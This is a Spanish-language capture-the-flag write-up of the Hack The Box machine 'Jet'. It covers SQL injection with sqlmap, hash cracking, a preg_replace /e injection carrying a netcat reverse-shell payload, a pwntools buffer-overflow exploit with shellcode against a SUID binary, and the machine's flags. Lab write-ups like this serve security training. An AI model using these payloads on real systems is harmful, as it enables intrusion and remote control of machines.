Jet - Hack The Box

Jet es una máquina de la sección Fortress de Hack The Box en la que se pueden hackear un montón de cosas, así podemos practicar un montón de técnicas distintas en la misma máquina.

PORT SCAN

> nmap -sV -sC -Pn -n -T5 -v 10.13.37.10 --open

22/tcp   open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 62:f6:49:80:81:cf:f0:07:0e:5a:ad:e9:8e:1f:2b:7c (RSA)
|   256 54:e2:7e:5a:1c:aa:9a:ab:65:ca:fa:39:28:bc:0a:43 (ECDSA)
|_  256 93:bc:37:b7:e0:08:ce:2d:03:99:01:0a:a9:df:da:cd (ED25519)
53/tcp   open  domain   ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp   open  http     nginx 1.10.3 (Ubuntu)
|_http-title: Welcome to nginx on Debian!
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.10.3 (Ubuntu)
5555/tcp open  freeciv?
| fingerprint-strings: 
|   DNSVersionBindReqTCP, GenericLines, GetRequest, adbConnect: 
|     enter your name:
|     [31mMember manager!
|     edit
|     change name
|     gift
|     exit
|   NULL: 
|     enter your name:
|   SMBProgNeg: 
|     enter your name:
|     [31mMember manager!
|     edit
|     change name
|     gift
|     exit
|     invalid option!
|     [31mMember manager!
|     edit
|     change name
|     gift
|     exit
|     invalid option!
|     [31mMember manager!
|     edit
|     change name
|     gift
|     exit
|     invalid option!
|     [31mMember manager!
|     edit
|     change name
|     gift
|     exit
|     invalid option!
|     [31mMember manager!
|     edit
|     change name
|     gift
|     exit
|     invalid option!
|     [31mMember manager!
|     edit
|     change name
|     gift
|     exit
|     invalid option!
|     [31mMember manager!
|     edit
|     change name
|     gift
|     exit
|     invalid option!
|     [31mMember manager!
|     edit
|     change name
|     gift
|     exit
|     invalid option!
|     [31mMember manager!
|     edit
|     change name
|     gift
|     exit
|_    invalid option!
7777/tcp open  cbt?
| fingerprint-strings: 
|   Arucer, DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, Socks5, X11Probe: 
|     --==[[ Spiritual Memo ]]==--
|     Create a memo
|     Show memo
|     Delete memo
|     Can't you read mate?
|   NULL: 
|     --==[[ Spiritual Memo ]]==--
|     Create a memo
|     Show memo
|_    Delete memo

OS

> ping -c 1 10.13.37.10

PING 10.13.37.10 (10.13.37.10) 56(84) bytes of data.
64 bytes from 10.13.37.10: icmp_seq=1 ttl=63 time=111 ms

--- 10.13.37.10 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 111.035/111.035/111.035/0.000 ms

Para ver que sistema operativo corre en la máquina víctima le mandaremos una traza ICMP, aquí podremos ver ttl=63, pero realmente es ttl=64, es decir, es una máquina Linux. Lo de que se le quita uno al ttl pasa porque la conexión con la máquina no es directa, sino que pasa por un nodo intermediario.

PUERTO 53: DNS

Antes de empezar con la web, vamos a ver si encontramos algun dominio valido mediante los DNS, ya que el puerto 53 esta abierto.

❯ dig @10.13.37.10 -x 10.13.37.10

; <<>> DiG 9.16.27-Debian <<>> @10.13.37.10 -x 10.13.37.10
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 32264
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;10.37.13.10.in-addr.arpa.	IN	PTR

;; AUTHORITY SECTION:
37.13.10.in-addr.arpa.	604800	IN	SOA	www.securewebinc.jet. securewebinc.jet. 3 604800 86400 2419200 604800

;; Query time: 113 msec
;; SERVER: 10.13.37.10#53(10.13.37.10)
;; WHEN: Sat Jul 09 17:27:25 CEST 2022
;; MSG SIZE  rcvd: 109

Ahí encontramos el dominio www.securewebinc.jet, así que lo agregamos al /etc/hosts y lo pondremos en el navegador.

Nos encontramos con esta web, y si bajamos nos encontramos con la flag:

Pues ya que estamos aquí por si acaso, vamos a mirar el código, pero no sé…

Vale, pues si, sí que había algo interesante, si vamos al final nos encontramos con estos dos enlaces, el primero no es demasiado interesante, pero el segundo sí.

Aquí nos encontramos esta cadena que desencriptaremos con la web de jsnice:

eval(String.fromCharCode(102,117,110,99,116,105,111,110,32,103,101,116,83,116,97,116,115,40,41,10,123,10,32,32,32,32,36,46,97,106,97,120,40,123,117,114,108,58,32,34,47,100,105,114,98,95,115,97,102,101,95,100,105,114,95,114,102,57,69,109,99,69,73,120,47,97,100,109,105,110,47,115,116,97,116,115,46,112,104,112,34,44,10,10,32,32,32,32,32,32,32,32,115,117,99,99,101,115,115,58,32,102,117,110,99,116,105,111,110,40,114,101,115,117,108,116,41,123,10,32,32,32,32,32,32,32,32,36,40,39,35,97,116,116,97,99,107,115,39,41,46,104,116,109,108,40,114,101,115,117,108,116,41,10,32,32,32,32,125,44,10,32,32,32,32,101,114,114,111,114,58,32,102,117,110,99,116,105,111,110,40,114,101,115,117,108,116,41,123,10,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,114,101,115,117,108,116,41,59,10,32,32,32,32,125,125,41,59,10,125,10,103,101,116,83,116,97,116,115,40,41,59,10,115,101,116,73,110,116,101,114,118,97,108,40,102,117,110,99,116,105,111,110,40,41,123,32,103,101,116,83,116,97,116,115,40,41,59,32,125,44,32,49,48,48,48,48,41,59));

Pues a primera vista ya vemos un directorio que parece muy interesante: /dirb_safe_dir_rf9EmcEIx/admin/stats.php al cual si le quitamos el stats.php nos redirige a una página de login el cual obviamente vamos a intentar bypassear.

Pero antes de intentar bypassear el login vamos a ver el código fuente del login y ahí nos encontramos con otra flag: JET{s3cur3_js_w4s_not_s0_s3cur3_4ft3r4ll}

Vale, una ves hemos mirado el código ya podemos intentar bypassear el login. Como con sqlmap no me ha dejado hacer una sql incection en el panel del login, lo que haré sera capturar la petición con burpsuite, exportarla a un archivo llamado “login” y luego meter el archivo en sqlmap para que pruebe con ella.

> cat login         #este es el archivo donde he copiado la petición

POST /dirb_safe_dir_rf9EmcEIx/admin/dologin.php HTTP/1.1
Host: www.securewebinc.jet
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Origin: http://www.securewebinc.jet
Connection: close
Referer: http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/login.php
Cookie: PHPSESSID=cff2hfr9uou4u70p2lqar4e8r6
Upgrade-Insecure-Requests: 1

username=uwu&password=uwu



❯ sqlmap -r login –schema

[INFO] fetching tables for databases: ‘information_schema, jetadmin’

Nos ha arrojado directamente el nombre de la BBDD asi que vamos a dumpear todo lo que hay en ella:

❯ sqlmap -r login –D jetadmin --dump

Database: jetadmin
Table: users
[1 entry]
+----+------------------------------------------------------------------+----------+
| id | password                                                         | username |
+----+------------------------------------------------------------------+----------+
| 1  | 97114847aa12500d04c0ef3aa6ca1dfd8fca7f156eeb864ab9b0445b235d5084 | admin    |
+----+------------------------------------------------------------------+----------+

Nos da ese hash, entonces ahora lo tenemos que guardar en un archivo llamado “hash” y lo vamos a romper con john the reaper

> john --wordlist=rockyou.txt hash

...
Hackthesystem200 (admin)
Session completed

Ahora tenemos las credenciales: username: admin | password: Hackthesystem200

Introduciendo esas credenciales en el panel de login conseguimos entrar y nos encontramos con esto donde en la sección del chat podremos ver otra flag:

Como no pues vamos a seguir por aqui, que tiene pinta de que todavia se puede explotar mas. Si bajamos e la pagina nos encontramos con un apartado donde podemos mandar email y ya que esto consiste en hackear todo lo que podamos pues tiene pinta de que podremos hacer algo con eso.

Pongamos lo que pongamos nos dará ese error, así que vamos a capturar la petición y ver si podemos cambiar algo.

La data esta urlencodeada por lo que si la decodificamos Crtl + Shift + U veremos lo siguiente:

Vemos que está utilizando expresiones regulares, es decir /i por lo que ya vemos una forma de ejecutar comandos, si cambiamos el /i por /e podremos ejecutar comandos de forma remota, con lo cual nos podremos mandar una reverse shell.

Para eso primero con netcat pondremos el puerto 443 a la escucha y luego reemplazaremos la data por (pero donde pone 10.13.14.13 lo reemplazaras por tu ip de HTB):

swearwords[/fuck/e]=system('rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/bash%20-i%202>%261|nc%2010.13.14.13%20443%20>/tmp/f')&swearwords[/shit/i]=poop&swearwords[/ass/i]=behind&swearwords[/dick/i]=penis&swearwords[/whore/i]=escort&swearwords[/asshole/i]=bad+person&to=uwu@uwu.uwu&subject=uwu&message=uwu&_wysihtml5_mode=1

Una vez tenemos la el puerto a la escucha le daremos a Foward en Burpsuite y deberíamos ver lo siguiente en la consola con netcat:

❯ sudo netcat -lvnp 443
Connection received on 10.13.37.10
www-data@jet:~/html/dirb_safe_dir_rf9EmcEIx/admin$

PEQUEÑO APUNTE: utilizamos el puerto 443 ya que es común que los servidores web manden información por ese puerto, por lo que al mandar información por ese puerto ciertas medidas de seguridad no se fijen en eso y no lo detecten.

Ya estamos dentro! Asi que ahora al ver que archivos hay nos encontramos con otra flag:

> www-data@jet:~/html/dirb_safe_dir_rf9EmcEIx/admin$ ls
a_flag_is_here.txt

> cat a_flag_is_here.txt
JET{pr3g_r3pl4c3_g3ts_y0u_pwn3d}

Pues ya que estamos vamos a intetar escalar privilegios, para eso primero miraremos que archivo tienen privilegios SUID:

www-data@jet:~$ find / -perm -4000 2>/dev/null

/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/snapd/snap-confine
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/at
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/sudo
/lib/uncompress.so
/home/leak
/bin/umount
/bin/su
/bin/fusermount
/bin/mount
/bin/ping
/bin/ntfs-3g
/bin/ping6

Vemos el arvhivo /home/leak que parece interesante.

Si lo ejecutamos nos leakeará un poquito de información y nos dara un campo de input:

www-data@jet:~$ /home/leak

Oops, I'm leaking! 0x7ffda13a5490
Pwn me ¯\_(ツ)_/¯ 
>

Vamos a hostear el directorio /home en el puerto 8000:

www-data@jet:/home$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 ...

Ahora descargaremos el archivo leak en nuestra maquina:

❯ wget http://10.13.37.10:8000/leak
Grabando a: «leak»
leak                           100%[======================================>]
«leak» guardado [9112/9112]

Ahora con gdb intentaremos conseguir el offset para empezar a hacer un exploit que explote la vulnerabilidad buffer overflow, es decir, que al meterle un input con más caracteres, esos caracteres extra queden por fuera del buffer y se sobreescriban a la información original y así poder inyectar código malicioso.

❯ gdb-peda ./leak

Reading symbols from ./leak...
(No debugging symbols found in ./leak)
(gdb-peda) pattern_create 100 pattern
Writing pattern of 100 chars to filename "pattern"
(gdb-peda) run < pattern
Starting program: ~/leak < pattern
Oops, I'm leaking! 0x7fffffffe600
Pwn me ¯\_(ツ)_/¯ 
> 
Program received signal SIGSEGV, Segmentation fault.
[--------------------------------------------------------------------]
(gdb-peda) x/wx $rsp
0x7fffffffe648: 0x65414149
(gdb-peda) pattern_offset 0x65414149
1698775369 found at offset: 72
(gdb-peda)

Vemos que el ofset es de 72, asi que podemos iniciar el exploit ejecutando el programa y almacenando lo que nos lekea:

shell = process("./leak")
shell.recvuntil(b"Oops, I'm leaking! ")
leaking = int(shell.recvuntil(b"\n"),16)

Para el payload usaremos un shellcode de exploitdb para ejecutar “/bin/sh”, después creando el chunk restandole el total de caracteres del shellcode a el offset, y por ultimo agregando la información que nos lekea al ejecutarlo:

payload = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
payload += b"A"*(72-len(payload))
payload += p64(leaking)

Por ultimo nos queda que cuando estemos en el input nos queda enviar el payload, exportar la TERM:

shell.recvuntil(b"> ")
shell.sendline(payload)
shell.sendline(b"export HOME=/home/alex TERM=xterm; cd")
shell.interactive()

El exploit/playload se veria asi:

#!/usr/bin/python3
from pwn import *

shell = remote('10.13.37.10', 9999)
shell.recvuntil(b"Oops, I'm leaking! ")

leaking = int(shell.recvuntil(b"\n"),16)

payload = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
payload += b"A"*(72-len(payload))
payload += p64(leaking)

shell.recvuntil(b"> ")
shell.sendline(payload)
shell.sendline(b"export HOME=/home/alex TERM=xterm; cd")
shell.interactive()

Ahora para exponer el binario, lo haremos con socat por el puerto 9999

www-data@jet:~$ socat TCP-LISTEN:9999,reuseaddr,fork EXEC:/home/leak &
[1] 7231

Para terminar con esto ya simplemente ejecutamos el exploit y nos dara la shell como el usuario Alex:

❯ python3 leak.py
[+] Opening connection to 10.13.37.10 on port 9999: Done
[*] Switching to interactive mode

$ whoami
alex
$ cat flag.txt
JET{0v3rfL0w_f0r_73h_lulz}

WEB: puerto 80 | http

Pues ahí tenemos otra flag

Si lo miramos poniendo la IP en el navegador, o añadiéndole el nombre jet.htb en el archivo /etc/hosts y luego poniendo jet.htb en el navegador nos va a salir lo mismo.

En Wappalizer es raro pero no sale nada, asi que probare con whatweb

> whatweb http://10.13.37.10

http://10.13.37.10/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.10.3 (Ubuntu)], IP[10.13.37.10], Title[Welcome to nginx on Debian!], nginx[1.10.3]

Pues empezamos bien, esa versión de nginx es vulnerable, he encontrado un exploit, pero en este caso no nos sirve, todo pinta a que esa página o va a aportarnos nada más, quizás hay alguna otra página o quizás hace virtual host routing, porque con wfuzz no vemos ningún directorio más (y eso que he probado con varias extensiones distintas: .php .html …). Por si acaso miraré el código fuente de la página, pero sino pasaremos a otra cosa.

En el código fuente de la página no hay nada interesante por lo que dudo que se pueda hacer más en esa página.

PUERTO 5555

Aquí también nos encontramos con otra web:

Y vemos que está cargando y no para, por lo que podemos intuir que hay algún proceso corriendo por detrás que quizás podamos explotar.

PUERTO 7777

Aquí también nos encontramos con otra web:

ROOT

Una vez tenemos una shell (es decir, cuando hemos conseguido la shell explotando el puerto 80 y tirando de ahí) ya simplemente es explotar la vulnerabilidad pwnkit y listo.

Flags que quedan:

JET{r3p3at1ng_ch4rs_1n_s1mpl3_x0r_g3ts_y0u_0wn3d}
JET{3sc4p3_s3qu3nc3s_4r3_fun}
JET{h34p_f0r_73h_b4bi3z}
JET{n3xt_t1m3_p1ck_65537}
JET{7h47s_7h3_sp1r17}

Ya tendríamos la máquina terminada, pero si parchean lo del pwnkit o me apetece seguir con esto, pues algún día subiré como se explota lo que no he explotado, ya que tenía lo del pwkit.

uwu